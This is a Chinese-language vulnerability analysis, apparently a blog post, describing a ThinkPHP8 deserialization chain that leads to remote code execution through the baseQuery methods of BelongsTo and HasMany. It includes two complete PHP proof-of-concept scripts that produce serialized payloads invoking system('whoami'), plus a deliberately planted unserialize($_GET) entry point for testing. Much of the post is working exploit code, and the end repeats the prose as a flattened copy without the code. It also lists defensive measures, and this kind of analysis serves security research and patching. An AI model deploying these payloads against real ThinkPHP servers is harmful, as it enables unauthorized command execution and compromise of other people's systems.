thinkphp8 通过baseQuery方法的rce
字数 968 2025-08-22 22:47:39

ThinkPHP8 通过 baseQuery 方法的 RCE 漏洞分析

前言

本文详细分析 ThinkPHP8 中通过 baseQuery 方法实现远程代码执行(RCE)的漏洞链。该漏洞利用反序列化链触发,最终可以实现任意命令执行。

环境搭建

  1. 下载官方 ThinkPHP8 源码
  2. 使用 phpstudy 搭建环境
  3. 添加反序列化入口点:
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController {
    public function index() {
        unserialize($_GET['lll']);
        return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
    }
}

漏洞分析

反序列化入口点

全局搜索 __destruct() 方法,发现三个可能的入口点:

  1. ResourceRegister#__destruct
  2. 其他两个不太适合利用

ResourceRegister#__destruct 代码如下:

public function __destruct() {
    if (!$this->registered) {
        $this->register();
    }
}

调用链分析

  1. register() 方法中可控的 $this->resource 可以调用任意类的 __call 方法:
protected function register() {
    $this->registered = true;
    $this->resource->parseGroupRule($this->resource->getRule());
}
  1. 选择 Relation.php__call 方法:
public function __call($method, $args) {
    if ($this->query) {
        // 执行基础查询
        $this->baseQuery();
        $result = call_user_func_array([$this->query, $method], $args);
        return $result === $this->query ? $this : $result;
    }
    throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
  1. 关键点在于 baseQuery() 方法,需要找到 Relation 抽象类的实现类(如 BelongsToHasMany

利用方式一:通过 BelongsTo 类

BelongsTobaseQuery 方法:

protected function baseQuery(): void {
    if (empty($this->baseQuery)) {
        if (isset($this->parent->{$this->foreignKey})) {
            // 关联查询带入关联条件
            $this->query->where($this->localKey, '=', $this->parent->{$this->foreignKey});
        }
        $this->baseQuery = true;
    }
}

利用 $this->parent->{$this->foreignKey} 触发 __toString 方法。

利用方式二:通过 HasMany 类

HasManybaseQuery 方法:

protected function baseQuery(): void {
    if (empty($this->baseQuery)) {
        if (isset($this->parent->{$this->localKey})) {
            // 关联查询带入关联条件
            $this->query->where($this->foreignKey, '=', $this->parent->{$this->localKey});
        }
        $this->baseQuery = true;
    }
}

同样利用 $this->parent->{$this->localKey} 触发 __toString 方法。

POC 构造

方式一:使用 BelongsTo

<?php
namespace think\db;
class Fetch {}

namespace think;
abstract class Model {
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $connection;
    
    function __construct() {
        $this->data["lll"] = ["whoami"];
        $this->withAttr["lll"] = ["system"];
        $this->json = ["lll"];
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->jsonAssoc = true;
    }
}

namespace think\model\relation;
use think\db\Fetch;
use think\model\Pivot;

class BelongsTo {
    protected $query;
    protected $parent;
    protected $foreignKey;
    
    function __construct(){
        $this->query = true;
        $this->parent = new Fetch();
        $this->foreignKey = new Pivot();
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {}

namespace think\route;
use think\model\relation\BelongsTo;

class ResourceRegister {
    protected $registered = false;
    protected $resource;
    protected $db;
    
    function __construct() {
        $this->registered = false;
        $this->resource = new BelongsTo();
    }
}

namespace think;
use think\route\ResourceRegister;

$r = new ResourceRegister();
echo urlencode(serialize($r));

方式二:使用 HasMany(更简单)

<?php
namespace think;
abstract class Model {
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $connection;
    
    function __construct() {
        $this->data["lll"] = ["whoami"];
        $this->withAttr["lll"] = ["system"];
        $this->json = ["lll"];
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->jsonAssoc = true;
    }
}

namespace think\model\relation;
use think\model\Pivot;
use think\model\HasOne;

class HasMany {
    protected $localKey;
    protected $query;
    protected $baseQuery;
    protected $parent;
    protected $foreignKey;
    
    function __construct(){
        $this->query = true;
        $this->baseQuery = null;
        $this->parent = new HasOne();
        $this->localKey = new Pivot();
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {}

namespace think\route;
use think\model\relation\HasMany;

class ResourceRegister {
    protected $registered = false;
    protected $resource;
    protected $db;
    
    function __construct() {
        $this->registered = false;
        $this->resource = new HasMany();
    }
}

namespace think;
use think\route\ResourceRegister;

$r = new ResourceRegister();
echo urlencode(serialize($r));

漏洞利用条件

  1. 存在反序列化入口
  2. 使用 ThinkPHP8 受影响版本
  3. 服务器配置允许执行系统命令

防御措施

  1. 避免反序列化用户可控数据
  2. 更新到最新版本的 ThinkPHP
  3. 对用户输入进行严格过滤

总结

该漏洞利用 ThinkPHP8 的反序列化链,通过 baseQuery 方法中的 $object->{$property} 语法触发 __toString 方法,最终实现 RCE。利用方式灵活,可以通过多种类(如 BelongsToHasMany 等)实现相同的效果。

ThinkPHP8 通过 baseQuery 方法的 RCE 漏洞分析 前言 本文详细分析 ThinkPHP8 中通过 baseQuery 方法实现远程代码执行(RCE)的漏洞链。该漏洞利用反序列化链触发,最终可以实现任意命令执行。 环境搭建 下载官方 ThinkPHP8 源码 使用 phpstudy 搭建环境 添加反序列化入口点: 漏洞分析 反序列化入口点 全局搜索 __destruct() 方法,发现三个可能的入口点: ResourceRegister#__destruct 其他两个不太适合利用 ResourceRegister#__destruct 代码如下: 调用链分析 register() 方法中可控的 $this->resource 可以调用任意类的 __call 方法: 选择 Relation.php 的 __call 方法: 关键点在于 baseQuery() 方法,需要找到 Relation 抽象类的实现类(如 BelongsTo 或 HasMany ) 利用方式一:通过 BelongsTo 类 BelongsTo 的 baseQuery 方法: 利用 $this->parent->{$this->foreignKey} 触发 __toString 方法。 利用方式二:通过 HasMany 类 HasMany 的 baseQuery 方法: 同样利用 $this->parent->{$this->localKey} 触发 __toString 方法。 POC 构造 方式一:使用 BelongsTo 方式二:使用 HasMany(更简单) 漏洞利用条件 存在反序列化入口 使用 ThinkPHP8 受影响版本 服务器配置允许执行系统命令 防御措施 避免反序列化用户可控数据 更新到最新版本的 ThinkPHP 对用户输入进行严格过滤 总结 该漏洞利用 ThinkPHP8 的反序列化链,通过 baseQuery 方法中的 $object->{$property} 语法触发 __toString 方法,最终实现 RCE。利用方式灵活,可以通过多种类(如 BelongsTo 、 HasMany 等)实现相同的效果。